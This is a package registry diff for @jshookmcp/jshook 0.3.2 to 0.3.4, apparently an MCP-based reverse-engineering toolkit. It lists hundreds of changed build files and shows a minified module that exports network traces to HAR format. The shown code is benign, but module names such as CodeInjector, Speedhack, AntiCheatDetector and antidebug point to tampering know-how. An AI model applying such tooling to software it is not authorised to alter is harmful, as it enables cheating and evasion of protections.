@jshookmcp/jshook 0.3.2 → 0.3.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (357) hide show
  1. package/README.md +19 -4
  2. package/README.zh.md +19 -4
  3. package/dist/AntiCheatDetector-B-mz4DK_.mjs +1 -0
  4. package/dist/{BrowserSessionCoordinator-BJ-HOxo0.mjs → BrowserSessionCoordinator-Cdic8FsH.mjs} +1 -1
  5. package/dist/CodeAnalyzerDataFlow-a-NkwcaG.mjs +2 -0
  6. package/dist/CodeInjector-B099WO6x.mjs +1 -0
  7. package/dist/ConsoleMonitor-BZRqrBH-.mjs +306 -0
  8. package/dist/CpuEngine-BC8jayy9.mjs +1 -0
  9. package/dist/DartAotExecutor-B7WVTKsd.mjs +1 -0
  10. package/dist/DartAotLoader-BxdhW-K2.mjs +2 -0
  11. package/dist/DarwinAPI-DzojdfjF.mjs +1 -0
  12. package/dist/DetailedDataManager-Dgh402Gp.mjs +5 -0
  13. package/dist/ExecutionSandbox-QbWQmzuC.mjs +45 -0
  14. package/dist/ExtensionManager.tools-D3h818Xs.mjs +1 -0
  15. package/dist/FingerprintManager-D9Zlr6be.mjs +1 -0
  16. package/dist/HardwareBreakpoint-C_lJ22bj.mjs +1 -0
  17. package/dist/HeapAnalyzer-bJbLvzp6.mjs +1 -0
  18. package/dist/HookPatternScanner-yx4vJ9sd.mjs +1 -0
  19. package/dist/InstrumentationSession-Cv1wikLA.mjs +1 -0
  20. package/dist/IntegrityScanner-BB7sw-SA.mjs +1 -0
  21. package/dist/JScramblerDeobfuscator-NVR5VatT.mjs +1 -0
  22. package/dist/MCPServer.activation.ttl-C2wOCMLV.mjs +1 -0
  23. package/dist/MCPServer.search.helpers-DlassAew.mjs +2 -0
  24. package/dist/MCPServer.search.validation-DnifPCCv.mjs +1 -0
  25. package/dist/MemoryController-CCsGuGJS.mjs +2 -0
  26. package/dist/{MemoryScanSession-DG_F-PjE.mjs → MemoryScanSession-BZ2A9Ph1.mjs} +1 -1
  27. package/dist/MemoryScanner-DAxsq7Sx.mjs +1 -0
  28. package/dist/NativeMemoryManager.impl-BIJzXMqH.mjs +1 -0
  29. package/dist/{NativeMemoryManager.utils-BHy1P_jM.mjs → NativeMemoryManager.utils-CMoul2an.mjs} +1 -1
  30. package/dist/PEAnalyzer-CB_kaTis.mjs +1 -0
  31. package/dist/PackerDeobfuscator-BpwGjxDL.mjs +7 -0
  32. package/dist/PointerChainEngine-B6SYv6ZM.mjs +1 -0
  33. package/dist/ProcessRegistry-C5W1Tkn9.mjs +1 -0
  34. package/dist/{handlers-mPFiNPe8.mjs → QuickJSSandbox-CIde-jzG.mjs} +2 -5
  35. package/dist/{ResponseBuilder-BfWP-uaT.mjs → ResponseBuilder-BLicSCjn.mjs} +1 -1
  36. package/dist/ReverseEvidenceGraph-DJzk0GQz.mjs +2 -0
  37. package/dist/ServerRuntimeState-DGXNv8Ji.mjs +1 -0
  38. package/dist/Speedhack-MGoeq1ZS.mjs +1 -0
  39. package/dist/StructureAnalyzer-CCTWAXR3.mjs +2 -0
  40. package/dist/ToolHandlerMap-C40EmuLT.mjs +1 -0
  41. package/dist/{ToolProbe-C7ZU2x7M.mjs → ToolProbe-B02GC3ZY.mjs} +1 -1
  42. package/dist/ToolRegistry-CzqQxFqf.mjs +1 -0
  43. package/dist/ToolRouter.policy-Bgb3S8jc.mjs +4 -0
  44. package/dist/TraceRecorder-BfeCTQUj.mjs +407 -0
  45. package/dist/VMDeobfuscator-BHtkV850.mjs +1 -0
  46. package/dist/Win32API-G7QPyckq.mjs +1 -0
  47. package/dist/{Win32Debug-CYrIQBvr.mjs → Win32Debug-6yzmtv5b.mjs} +1 -1
  48. package/dist/allocation-track-CiI-CnaI.mjs +1 -0
  49. package/dist/analysis-CojUzwX-.mjs +27 -0
  50. package/dist/antidebug-CgU84TE1.mjs +1 -0
  51. package/dist/apk-DrPBsOq8.mjs +1 -0
  52. package/dist/artifactRetention-Bk6fW2uF.mjs +1 -0
  53. package/dist/artifacts-Bx9GLx4J.mjs +1 -0
  54. package/dist/ast-bridge-BlOrmVAv.mjs +1 -0
  55. package/dist/ast-utils-B9E5k_v1.mjs +1 -0
  56. package/dist/{betterSqlite3-Brtq-SIQ.mjs → betterSqlite3-Bdo_ifuJ.mjs} +1 -1
  57. package/dist/binary-instrument-DiE1BP0x.mjs +12 -0
  58. package/dist/boringssl-inspector-C6M3sOga.mjs +2 -0
  59. package/dist/browser-QDUu5ML9.mjs +29 -0
  60. package/dist/{handlers-yo_xYzT8.mjs → canvas-g5kmLdY-.mjs} +1098 -24
  61. package/dist/{capabilities-CyXuKUl1.mjs → capabilities-DwzyxL2w.mjs} +1 -1
  62. package/dist/cdp-session-Dy4OwMOP.mjs +1 -0
  63. package/dist/collector-Cld4i-E4.mjs +1 -0
  64. package/dist/config-5ODJ3Aj0.mjs +3 -0
  65. package/dist/constants-nvsLpSri.mjs +1 -0
  66. package/dist/coordination-C6y2gM9O.mjs +98 -0
  67. package/dist/coverage-and-block--cWjjEe5.mjs +1 -0
  68. package/dist/dart-inspector-D4IKxZ6u.mjs +0 -0
  69. package/dist/debugger-C2SpiXoO.mjs +1 -0
  70. package/dist/definitions-0mtilYzG.mjs +1 -0
  71. package/dist/definitions-9csunmeX.mjs +1 -0
  72. package/dist/definitions-B11MudW_.mjs +1 -0
  73. package/dist/definitions-BKpRDjcI.mjs +1 -0
  74. package/dist/definitions-BXE3H4re.mjs +1 -0
  75. package/dist/definitions-BlPHe5DX.mjs +1 -0
  76. package/dist/definitions-Bob4XMxI.mjs +27 -0
  77. package/dist/definitions-BpIQN2nm.mjs +1 -0
  78. package/dist/definitions-BvolWeSu.mjs +1 -0
  79. package/dist/definitions-C-6j3Ejl.mjs +1 -0
  80. package/dist/definitions-C-AdFfFu.mjs +1 -0
  81. package/dist/definitions-CArdw_9T.mjs +1 -0
  82. package/dist/definitions-CCvIcRrT.mjs +1 -0
  83. package/dist/definitions-CJPE5PIl.mjs +1 -0
  84. package/dist/definitions-CbqeW06u.mjs +1 -0
  85. package/dist/definitions-Cexmkypg.mjs +1 -0
  86. package/dist/definitions-D1dxl8qt.mjs +1 -0
  87. package/dist/definitions-D3uT-ZbU.mjs +1 -0
  88. package/dist/definitions-DtOY5iUc.mjs +1 -0
  89. package/dist/{definitions-DxFNRQNK2.mjs → definitions-DvrYdDCJ2.mjs} +1 -1
  90. package/dist/{definitions-Cenu6mxo.mjs → definitions-aeRd5DAR.mjs} +1 -1
  91. package/dist/definitions-ihxOqOC4.mjs +1 -0
  92. package/dist/deopt-trace-qnAcC931.mjs +17 -0
  93. package/dist/disasm-DoxSucGp.mjs +1 -0
  94. package/dist/dumpsys-parser-Du-5ruEe.mjs +2 -0
  95. package/dist/encoding-UMtwgy4M.mjs +2 -0
  96. package/dist/ensure-browser-core-BP70x0TB.mjs +285 -0
  97. package/dist/factory-BeND77hf.mjs +2 -0
  98. package/dist/graphql-CF7QKJME.mjs +68 -0
  99. package/dist/grpc-raw-Dp7ps2sv.mjs +1 -0
  100. package/dist/handlers--qCl9vNv.mjs +1 -0
  101. package/dist/handlers-BHIu1LqA.mjs +1 -0
  102. package/dist/{antidebug-7L3ygj_9.mjs → handlers-BQ4K8Jbr.mjs} +2 -2
  103. package/dist/handlers-BxQv-wtf.mjs +8 -0
  104. package/dist/handlers-ByYG27-5.mjs +1 -0
  105. package/dist/handlers-C0I9-BtX.mjs +5 -0
  106. package/dist/handlers-CL0Iokmw.mjs +1 -0
  107. package/dist/handlers-CNbhIdSK.mjs +4 -0
  108. package/dist/handlers-CnTTSJFs.mjs +109 -0
  109. package/dist/handlers-CoDx6akJ2.mjs +49 -0
  110. package/dist/{handlers-0yKLRIfo.mjs → handlers-DASJI0Pn.mjs} +1 -1
  111. package/dist/handlers-DRKMaA-_.mjs +74 -0
  112. package/dist/handlers-Dalu0olz.mjs +2 -0
  113. package/dist/handlers-KY0g31ny.mjs +9 -0
  114. package/dist/handlers-oGo60aVv.mjs +1 -0
  115. package/dist/handlers.impl-BTXLw6Qc.mjs +1 -0
  116. package/dist/heap-sampling-BqdiU-5j.mjs +1 -0
  117. package/dist/{hooks-D4XLfgtV.mjs → hooks-COK3t5rT.mjs} +52 -33
  118. package/dist/index.mjs +11 -11
  119. package/dist/logger-BGCcd-jJ.mjs +1 -0
  120. package/dist/macro-nUYUjKNZ.mjs +2 -0
  121. package/dist/maintenance-CfnE7ZKU.mjs +4 -0
  122. package/dist/manifest-7EOTUc0D.mjs +1 -0
  123. package/dist/manifest-B5ujuQmf.mjs +1 -0
  124. package/dist/manifest-BErXl3zn.mjs +1 -0
  125. package/dist/manifest-BKA-mD3J.mjs +1 -0
  126. package/dist/manifest-BUXj23bX.mjs +1 -0
  127. package/dist/manifest-BfXt9cau.mjs +1 -0
  128. package/dist/manifest-Bx-tpURK.mjs +1 -0
  129. package/dist/manifest-C0owVAdq.mjs +1 -0
  130. package/dist/manifest-C5XqYc9o.mjs +1 -0
  131. package/dist/manifest-CVKzLjsA.mjs +1 -0
  132. package/dist/manifest-CaeFjdhj.mjs +1 -0
  133. package/dist/manifest-CegBgip0.mjs +1 -0
  134. package/dist/manifest-CoJHqlgS.mjs +1 -0
  135. package/dist/manifest-D0dbtDqd.mjs +1 -0
  136. package/dist/manifest-D5Gr8ujd.mjs +12 -0
  137. package/dist/manifest-D82z-5og.mjs +1 -0
  138. package/dist/manifest-DA2afIwh.mjs +1 -0
  139. package/dist/manifest-DAbiFP5o.mjs +1 -0
  140. package/dist/manifest-DEY0s1O72.mjs +1 -0
  141. package/dist/manifest-DTOqNqiA.mjs +1 -0
  142. package/dist/manifest-DZ6ELNgX.mjs +1 -0
  143. package/dist/manifest-DjHkjddT.mjs +1 -0
  144. package/dist/manifest-DocA_itf2.mjs +1 -0
  145. package/dist/manifest-Dpnhvfq0.mjs +1 -0
  146. package/dist/manifest-DucPMG_a.mjs +1 -0
  147. package/dist/manifest-Dw5yYEac.mjs +1 -0
  148. package/dist/manifest-Ic_Cg66S.mjs +1 -0
  149. package/dist/manifest-JHaG6GMN.mjs +1 -0
  150. package/dist/manifest-QdkIzmYM.mjs +1 -0
  151. package/dist/manifest-YZqaCe25.mjs +1 -0
  152. package/dist/manifest-f0lUeXwq.mjs +1 -0
  153. package/dist/manifest-h-Ebisf8.mjs +1 -0
  154. package/dist/manifest-oOfTymBS.mjs +1 -0
  155. package/dist/manifest-qXqrO6KC.mjs +2 -0
  156. package/dist/mapsParser-DrJoeC0c.mjs +1 -0
  157. package/dist/modules-CC_ADmwi.mjs +333 -0
  158. package/dist/mojo-ipc-kVztXYw-.mjs +140 -0
  159. package/dist/native-D9ouskXO.mjs +961 -0
  160. package/dist/native-bridge-Dzd7hYoq.mjs +1 -0
  161. package/dist/network-C5Y-S87J.mjs +7 -0
  162. package/dist/one-gadget-CiWFE17F.mjs +1 -0
  163. package/dist/outputPaths-CHtELDyi.mjs +1 -0
  164. package/dist/parse-args-B6dwWc9k.mjs +1 -0
  165. package/dist/platform-BIXgJaM3.mjs +94 -0
  166. package/dist/process-aDIfLC0v.mjs +6 -0
  167. package/dist/proxy-DsHsQ1I4.mjs +2 -0
  168. package/dist/registry-7h8jJ9y9.mjs +1 -0
  169. package/dist/{registry-DH4sc1dt.mjs → registry-DJDnkQW2.mjs} +1 -1
  170. package/dist/response-R8ghbZSb.mjs +1 -0
  171. package/dist/retry-policy-DtYv0kDi.mjs +1 -0
  172. package/dist/reverseEngineeringConfig-BhZLOa3C.mjs +1 -0
  173. package/dist/safeOutput-Dt4mfjXA.mjs +1 -0
  174. package/dist/search-defaults-BBRJNAzC.mjs +1 -0
  175. package/dist/server/plugin-api.mjs +1 -1
  176. package/dist/server/search/EmbeddingWorker.d.mts +1 -0
  177. package/dist/server/search/EmbeddingWorker.mjs +1 -0
  178. package/dist/shared-BKtWZDGN.mjs +1 -0
  179. package/dist/sourcemap-2VIeVeKw.mjs +3 -0
  180. package/dist/streaming-DkpE3GGU.mjs +15 -0
  181. package/dist/syscall-DGZoYM_U.mjs +1 -0
  182. package/dist/transform-BJqsBC_-.mjs +105 -0
  183. package/dist/turbofan-graph-CbGHNVtl.mjs +1 -0
  184. package/dist/turbofan-inspect--NdCuYXi.mjs +23 -0
  185. package/dist/types-CWSvzmIh.mjs +1 -0
  186. package/dist/v8-inspector-CTJo08-K.mjs +297 -0
  187. package/dist/wasm-DX4Qm2Vs.mjs +235 -0
  188. package/dist/weakrefs-inspect-CnhaF-rN.mjs +57 -0
  189. package/dist/webgpu-D4-DxbxZ.mjs +6 -0
  190. package/dist/workflow-DHktRNF2.mjs +108 -0
  191. package/package.json +33 -27
  192. package/dist/AntiCheatDetector-B6d4Qe9D.mjs +0 -1
  193. package/dist/CodeInjector-Cll_7bLJ.mjs +0 -1
  194. package/dist/ConsoleMonitor-CxDJV15E.mjs +0 -306
  195. package/dist/DOMInspector-C19J4zeq.mjs +0 -95
  196. package/dist/DarwinAPI-ZfQdpLNI.mjs +0 -1
  197. package/dist/DetailedDataManager-DmQ1LT-W.mjs +0 -1
  198. package/dist/ExtensionManager-BD724zkO.mjs +0 -1
  199. package/dist/ExtensionManager.tools-oVMJgPcN.mjs +0 -1
  200. package/dist/FingerprintManager-DT0EAUEo.mjs +0 -1
  201. package/dist/HardwareBreakpoint-BUfPdp0f.mjs +0 -1
  202. package/dist/HeapAnalyzer-B_aqY8oj.mjs +0 -1
  203. package/dist/InstrumentationSession-D_G1ZPyd.mjs +0 -1
  204. package/dist/MCPServer.search.handlers.domain-BbS-6LnX.mjs +0 -1
  205. package/dist/MemoryController-X1XNSn1n.mjs +0 -2
  206. package/dist/MemoryScanner-g1_L1ub5.mjs +0 -1
  207. package/dist/NativeMemoryManager.impl-DniBe2wf.mjs +0 -1
  208. package/dist/NetworkMonitor-B_-au6aV.mjs +0 -185
  209. package/dist/PEAnalyzer-yWQaGrcx.mjs +0 -1
  210. package/dist/PageController-Dfsm1_o7.mjs +0 -1
  211. package/dist/PointerChainEngine-BhCUkmxY.mjs +0 -1
  212. package/dist/PrerequisiteError-BjCQA-gK.mjs +0 -1
  213. package/dist/ProcessRegistry-C-bN48oR.mjs +0 -1
  214. package/dist/ReverseEvidenceGraph-BhSYYdiI.mjs +0 -2
  215. package/dist/ScriptManager-LWGPTdvD.mjs +0 -7
  216. package/dist/ServerRuntimeState-D2bWHqEE.mjs +0 -1
  217. package/dist/Speedhack-yseDPSZ9.mjs +0 -1
  218. package/dist/StructureAnalyzer-C5lpuZkg.mjs +0 -2
  219. package/dist/ToolCatalog-CYdD9F5f.mjs +0 -1
  220. package/dist/ToolRegistry-C5oB8KP8.mjs +0 -1
  221. package/dist/ToolRouter.policy-CfhJczkt.mjs +0 -4
  222. package/dist/TraceRecorder-BiJWBXHX.mjs +0 -272
  223. package/dist/VersionDetector-CHT36Az0.mjs +0 -9
  224. package/dist/Win32API-eUCF57l_.mjs +0 -1
  225. package/dist/WorkflowEngine-D876meOO.mjs +0 -1
  226. package/dist/analysis-D4swdMvq.mjs +0 -6
  227. package/dist/apk-packer-BqXcInnX.mjs +0 -1
  228. package/dist/artifactRetention-BCPQASm7.mjs +0 -1
  229. package/dist/artifacts-CkodUM4j.mjs +0 -1
  230. package/dist/binary-instrument-DU7V6TUM.mjs +0 -7
  231. package/dist/binary-secrets-PdMVoyt0.mjs +0 -1
  232. package/dist/boringssl-inspector-BBaJwwkU.mjs +0 -2
  233. package/dist/browser-Qqco2rOT.mjs +0 -11
  234. package/dist/collector-Bpl6qy2L.mjs +0 -1
  235. package/dist/constants-BYj8Xek8.mjs +0 -1
  236. package/dist/coordination-CWXW1o8K.mjs +0 -1
  237. package/dist/dart-inspector-7AkPeZ_Q.mjs +0 -0
  238. package/dist/debugger-DyALjYMk.mjs +0 -1
  239. package/dist/definitions-BWxBke3r.mjs +0 -1
  240. package/dist/definitions-BYwATKc-.mjs +0 -1
  241. package/dist/definitions-B_83XfNQ.mjs +0 -1
  242. package/dist/definitions-Bf3H1EwV.mjs +0 -1
  243. package/dist/definitions-BftdXgXI.mjs +0 -1
  244. package/dist/definitions-Bio5XJYy.mjs +0 -1
  245. package/dist/definitions-C3qNgSn1.mjs +0 -1
  246. package/dist/definitions-CB6vmOer.mjs +0 -1
  247. package/dist/definitions-CMZRSy3k.mjs +0 -1
  248. package/dist/definitions-CQd7yCQH.mjs +0 -1
  249. package/dist/definitions-CT8ln6GQ.mjs +0 -1
  250. package/dist/definitions-D4g-MS10.mjs +0 -1
  251. package/dist/definitions-D5wl_8HN.mjs +0 -1
  252. package/dist/definitions-DAQm1Xar.mjs +0 -1
  253. package/dist/definitions-DP1vgxEY.mjs +0 -1
  254. package/dist/definitions-Ibci7e_L.mjs +0 -1
  255. package/dist/definitions-OeLvmlQy.mjs +0 -1
  256. package/dist/definitions-RZYGD_Ey.mjs +0 -1
  257. package/dist/definitions-Tls8c0A0.mjs +0 -1
  258. package/dist/definitions-bybDvnG0.mjs +0 -26
  259. package/dist/definitions-l7TjdE6V.mjs +0 -1
  260. package/dist/encoding-ycOaz8Vr.mjs +0 -2
  261. package/dist/ensure-browser-core-DxWC-NTp.mjs +0 -1
  262. package/dist/factory-CKr4fAE1.mjs +0 -1
  263. package/dist/flat-target-session-DvcQX7J5.mjs +0 -1
  264. package/dist/graphql-B2TiPEow.mjs +0 -62
  265. package/dist/handlers-8zN_vBIz.mjs +0 -1
  266. package/dist/handlers-B62K4FTc.mjs +0 -1
  267. package/dist/handlers-BpDlVVVU.mjs +0 -1
  268. package/dist/handlers-CMJK7m1c.mjs +0 -31
  269. package/dist/handlers-D2ZOul9p.mjs +0 -54
  270. package/dist/handlers-D5E40ssn.mjs +0 -5
  271. package/dist/handlers-DGbdQAgD.mjs +0 -4
  272. package/dist/handlers-DHO3rjsW.mjs +0 -1
  273. package/dist/handlers-FJ80VzUI.mjs +0 -2
  274. package/dist/handlers-VHWrxbM_.mjs +0 -1
  275. package/dist/handlers-l8QIKqBj.mjs +0 -2
  276. package/dist/handlers.impl-D9Hh8Bgl.mjs +0 -1
  277. package/dist/jadx-search-B_Yse0Zh.mjs +0 -5
  278. package/dist/logger-sBC6IdRT.mjs +0 -1
  279. package/dist/maintenance-BUpIukhg.mjs +0 -1
  280. package/dist/manifest-0Jpt_AQa.mjs +0 -1
  281. package/dist/manifest-B3fZbSWR.mjs +0 -1
  282. package/dist/manifest-B7NB2rh2.mjs +0 -1
  283. package/dist/manifest-BDi4nbH1.mjs +0 -1
  284. package/dist/manifest-BLDfkE7n.mjs +0 -1
  285. package/dist/manifest-BcXbB4gf.mjs +0 -1
  286. package/dist/manifest-Bdnc_vrc.mjs +0 -1
  287. package/dist/manifest-BuYKgCnp.mjs +0 -1
  288. package/dist/manifest-CBfNnGPV.mjs +0 -1
  289. package/dist/manifest-CPS1Xv69.mjs +0 -1
  290. package/dist/manifest-CQH9FhwI.mjs +0 -1
  291. package/dist/manifest-CRryuZF4.mjs +0 -1
  292. package/dist/manifest-CctIumog.mjs +0 -1
  293. package/dist/manifest-CvTe5ZGV2.mjs +0 -1
  294. package/dist/manifest-D-5GH0DV.mjs +0 -1
  295. package/dist/manifest-D3Ssf3IC.mjs +0 -1
  296. package/dist/manifest-D5ck3NvC.mjs +0 -1
  297. package/dist/manifest-D9jUUJAu.mjs +0 -1
  298. package/dist/manifest-DCx6w2XV.mjs +0 -1
  299. package/dist/manifest-DG19q-Ld.mjs +0 -1
  300. package/dist/manifest-DLMlD0Zc.mjs +0 -1
  301. package/dist/manifest-DYpn8w_h.mjs +0 -1
  302. package/dist/manifest-DYzWI8Xs.mjs +0 -1
  303. package/dist/manifest-D_obs5F4.mjs +0 -1
  304. package/dist/manifest-DujQqEQR.mjs +0 -2
  305. package/dist/manifest-DwL2ik8P.mjs +0 -1
  306. package/dist/manifest-ItF5P8A12.mjs +0 -1
  307. package/dist/manifest-KZphqIyX.mjs +0 -1
  308. package/dist/manifest-LG42zPLY2.mjs +0 -1
  309. package/dist/manifest-LLdI5m4T.mjs +0 -1
  310. package/dist/manifest-QYbQXJn0.mjs +0 -1
  311. package/dist/manifest-RcpX_MyZ.mjs +0 -123
  312. package/dist/manifest-YgVd8Sgz.mjs +0 -1
  313. package/dist/manifest-Zy7Odg5J.mjs +0 -1
  314. package/dist/manifest-ff1H7Pdp.mjs +0 -1
  315. package/dist/manifest-iuhF6pTL2.mjs +0 -1
  316. package/dist/manifest-nXHmtMSp2.mjs +0 -1
  317. package/dist/manifest-xWfu6iLo.mjs +0 -1
  318. package/dist/manifest-yC16OhL2.mjs +0 -1
  319. package/dist/manifest-ztWJoXy4.mjs +0 -1
  320. package/dist/matchesWildcardPattern-BAG6LvX5.mjs +0 -1
  321. package/dist/modules-BPBcSaM-.mjs +0 -333
  322. package/dist/mojo-ipc-BhwsdVUW.mjs +0 -9
  323. package/dist/native-j8l473zn.mjs +0 -961
  324. package/dist/network-T0VRwNPd.mjs +0 -7
  325. package/dist/outputPaths-B4Ic4RZh.mjs +0 -2
  326. package/dist/parse-args-Bw413PlW.mjs +0 -1
  327. package/dist/platform-CzaQtISh.mjs +0 -93
  328. package/dist/playwright-cdp-fallback-DqFdx9-s.mjs +0 -1
  329. package/dist/process-CWhsCWrf.mjs +0 -2
  330. package/dist/proxy-DZFlDsG3.mjs +0 -2
  331. package/dist/renderer-pid-9tJnZ_9N.mjs +0 -1
  332. package/dist/response-C7rKQst4.mjs +0 -1
  333. package/dist/search-defaults-lYBVn_3L.mjs +0 -1
  334. package/dist/shared-state-board-BSjXLUV1.mjs +0 -1
  335. package/dist/sourcemap-Dh3Ai_ur.mjs +0 -1
  336. package/dist/streaming-BcJ0B6ao.mjs +0 -1
  337. package/dist/transform-DOxzeWPB.mjs +0 -103
  338. package/dist/types-D9EiE5o9.mjs +0 -1
  339. package/dist/wasm-CZ_HTfKR.mjs +0 -174
  340. package/dist/webcrack-C1iYG_EX.mjs +0 -46
  341. package/dist/workflow-BdwQmARn.mjs +0 -101
  342. /package/dist/{CacheAdapters-CsNtQIR8.mjs → CacheAdapters-BlDrQg8f.mjs} +0 -0
  343. /package/dist/{EventBus-DL8iLA09.mjs → EventBus-Cm-t-B65.mjs} +0 -0
  344. /package/dist/{EvidenceGraphBridge-BtbwXsLC.mjs → EvidenceGraphBridge-DBDc0wUA.mjs} +0 -0
  345. /package/dist/{HookGeneratorBuilders.core.generators.storage-DzD6dIJd.mjs → HookGeneratorBuilders.core.generators.storage-CWaWpOHa.mjs} +0 -0
  346. /package/dist/{RingBuffer-Dm54ELKT.mjs → RingBuffer-B6RTHmij.mjs} +0 -0
  347. /package/dist/{StealthVerifier-BmcxfwSF.mjs → StealthVerifier-DMBrtkhN.mjs} +0 -0
  348. /package/dist/{ToolError-DWU_z7gp.mjs → ToolError-g3rjWzhx.mjs} +0 -0
  349. /package/dist/{authorization-schema-BOFwSXUN.mjs → authorization-schema-Jtikc5Yt.mjs} +0 -0
  350. /package/dist/{bind-helpers-m2U8glkF.mjs → bind-helpers-D0mGAOof.mjs} +0 -0
  351. /package/dist/{concurrency-DCr8WQ2M.mjs → concurrency-Dehnw4JC.mjs} +0 -0
  352. /package/dist/{evidence-graph-bridge-CV_UdYqj.mjs → evidence-graph-bridge-eT9icP6a.mjs} +0 -0
  353. /package/dist/{formatAddress-vLA_hOJt.mjs → formatAddress-DAcw4Ckg.mjs} +0 -0
  354. /package/dist/{chunk-C_pMuVsO.mjs → rolldown-runtime-88NL7fhV.mjs} +0 -0
  355. /package/dist/{ssrf-policy-CsIJGkpd.mjs → ssrf-policy-B72vdy23.mjs} +0 -0
  356. /package/dist/{tool-builder-qif8M9-K.mjs → tool-builder-CpLh-UQd.mjs} +0 -0
  357. /package/dist/{types-Fz69RzbZ.mjs → types-BzPBzmVB.mjs} +0 -0
@@ -0,0 +1,49 @@
1
+ import{a as e,i as t}from"./outputPaths-CHtELDyi.mjs";import{i as n}from"./artifacts-Bx9GLx4J.mjs";import{t as r}from"./ToolError-g3rjWzhx.mjs";import{v as i}from"./ensure-browser-core-BP70x0TB.mjs";import{n as a,t as o}from"./TraceRecorder-BfeCTQUj.mjs";import{r as s}from"./parse-args-B6dwWc9k.mjs";import{r as c,t as l}from"./ResponseBuilder-BLicSCjn.mjs";import{i as u,n as d,r as f}from"./safeOutput-Dt4mfjXA.mjs";import{readFile as p}from"node:fs/promises";const m={name:`jshookmcp trace export`,version:`1.0`},h=0xe8d4a51000,g=e=>e===1||e===!0;function _(e){if(e==null||!Number.isFinite(e))return null;let t=e>h?e:e*1e3,n=new Date(t);return Number.isNaN(n.getTime())?null:n.toISOString()}function v(e){if(!e)return[];try{let t=JSON.parse(e);return typeof t!=`object`||!t||Array.isArray(t)?[]:Object.entries(t).map(([e,t])=>({name:e,value:typeof t==`string`?t:JSON.stringify(t)}))}catch{return[]}}function y(e,t={}){let n=t.creator??m,r=e.queryWithParams(`SELECT * FROM network_resources
2
+ ORDER BY COALESCE(started_wall_time, started_monotonic_time, response_wall_time, 0) ASC`,[]),i=r.rows.map(e=>{let t={};for(let n=0;n<r.columns.length;n++)t[r.columns[n]]=e[n];let n=a(t,g),i=n.startedWallTime??null,o=n.finishedWallTime??n.responseWallTime??i,s=i!==null&&i<=h,c=i!==null&&o!==null&&o>=i?(o-i)*(s?1e3:1):0,l=_(i)??_(n.responseWallTime)??`1970-01-01T00:00:00.000Z`,u=v(n.requestHeaders),d=v(n.responseHeaders),f=typeof n.bodyInline==`string`&&n.bodyInline.length>0,p=n.bodySize??(f?n.bodyInline.length:0),m={startedDateTime:l,time:c,request:{method:n.method??`GET`,url:n.url??``,httpVersion:n.protocol??`http/1.1`,cookies:[],headers:u,queryString:[],headersSize:-1,bodySize:n.requestPostData===null?0:n.requestPostData.length,...n.requestPostData===null?{}:{postData:{mimeType:n.mimeType??`application/octet-stream`,text:n.requestPostData}}},response:{status:n.status??0,statusText:n.statusText??``,httpVersion:n.protocol??`http/1.1`,cookies:[],headers:d,redirectURL:``,headersSize:-1,bodySize:n.bodySize??0,content:{size:p,mimeType:n.mimeType??`application/octet-stream`,...n.bodyBase64Encoded?{encoding:`base64`}:{},...f?{text:n.bodyInline??void 0}:{}}},cache:{},timings:{send:0,wait:c,receive:0}},y={};return n.failed&&(y.failed=!0,n.errorText&&(y.errorText=n.errorText)),n.bodyArtifactPath&&(y.bodyArtifactPath=n.bodyArtifactPath),n.fromDiskCache&&(y.fromDiskCache=!0),n.fromServiceWorker&&(y.fromServiceWorker=!0),Object.keys(y).length>0&&(m._jshookmcp=y),m});return{log:{version:`1.4`,creator:n,pages:[{id:`page_1`,startedDateTime:i[0]?.startedDateTime??`1970-01-01T00:00:00.000Z`,title:t.pageTitle??`jshookmcp trace export`,pageTimings:{onContentLoad:-1,onLoad:-1}}],entries:i}}}const b=(e,t)=>typeof e==`boolean`?e:t,x=e=>typeof e==`string`?e:void 0,S=e=>typeof e==`number`&&Number.isFinite(e)?e:void 0,C=e=>typeof e==`object`&&e&&!Array.isArray(e)?e:void 0,w=(e,t)=>new r(`VALIDATION`,`${e} must be ${t}`),T=(e,t)=>{if(e==null)return;let n=x(e);if(n===void 0)throw w(t,`a string`);return n},E=(e,t)=>{if(e!=null){if(typeof e!=`boolean`)throw w(t,`a boolean`);return e}},D=(e,t)=>{if(e==null)return;let n=S(e);if(n===void 0)throw w(t,`a finite number`);return n},ee=(e,t)=>{if(e!=null){if(!Array.isArray(e)||e.some(e=>typeof e!=`string`))throw w(t,`an array of strings`);return[...e]}},O=(e,t)=>{let n=typeof e==`number`&&Number.isFinite(e)?e:t.defaultValue;return t.integer&&(n=Math.trunc(n)),typeof t.min==`number`&&(n=Math.max(t.min,n)),typeof t.max==`number`&&(n=Math.min(t.max,n)),n},k=(e,t)=>{let n={};for(let r=0;r<e.length;r++)n[e[r]]=t[r];return n},A=e=>{try{return JSON.parse(e)}catch{return e}},j=e=>C(typeof e==`string`?A(e):e)??{},M=e=>{let t=C(e.objectCounts);if(!t)return{};let n={};for(let[e,r]of Object.entries(t))typeof r==`number`&&Number.isFinite(r)&&(n[e]=r);return n},N=e=>{let t=C(e.objectSizes);if(!t)return{};let n={};for(let[e,r]of Object.entries(t))typeof r==`number`&&Number.isFinite(r)&&(n[e]=r);return n},P=(e,t)=>S(e[t])??0,te=e=>({timestamp:S(e[0])??0,category:x(e[1])??``,eventType:x(e[2])??``,data:x(e[3])??``,scriptId:x(e[4])??null,lineNumber:S(e[5])??null,wallTime:S(e[6])??null,monotonicTime:S(e[7])??null,requestId:x(e[8])??null,sequence:S(e[9])??null}),ne=e=>({timestamp:S(e[0])??0,category:x(e[1])??``,eventType:x(e[2])??``,data:typeof e[3]==`string`?A(e[3]):e[3],scriptId:x(e[4]),lineNumber:S(e[5])}),re=e=>({timestamp:S(e[0])??0,address:x(e[1])??``,oldValue:x(e[2])??``,newValue:x(e[3])??``,size:S(e[4])??0,valueType:x(e[5])??``}),F=e=>({timestampMs:S(e[0])??0,category:x(e[1])??``,eventType:x(e[2])??``,data:x(e[3])??``}),I=e=>({timestamp:e.timestamp,wallTime:e.wallTime??null,monotonicTime:e.monotonicTime??null,category:e.category,eventType:e.eventType,data:typeof 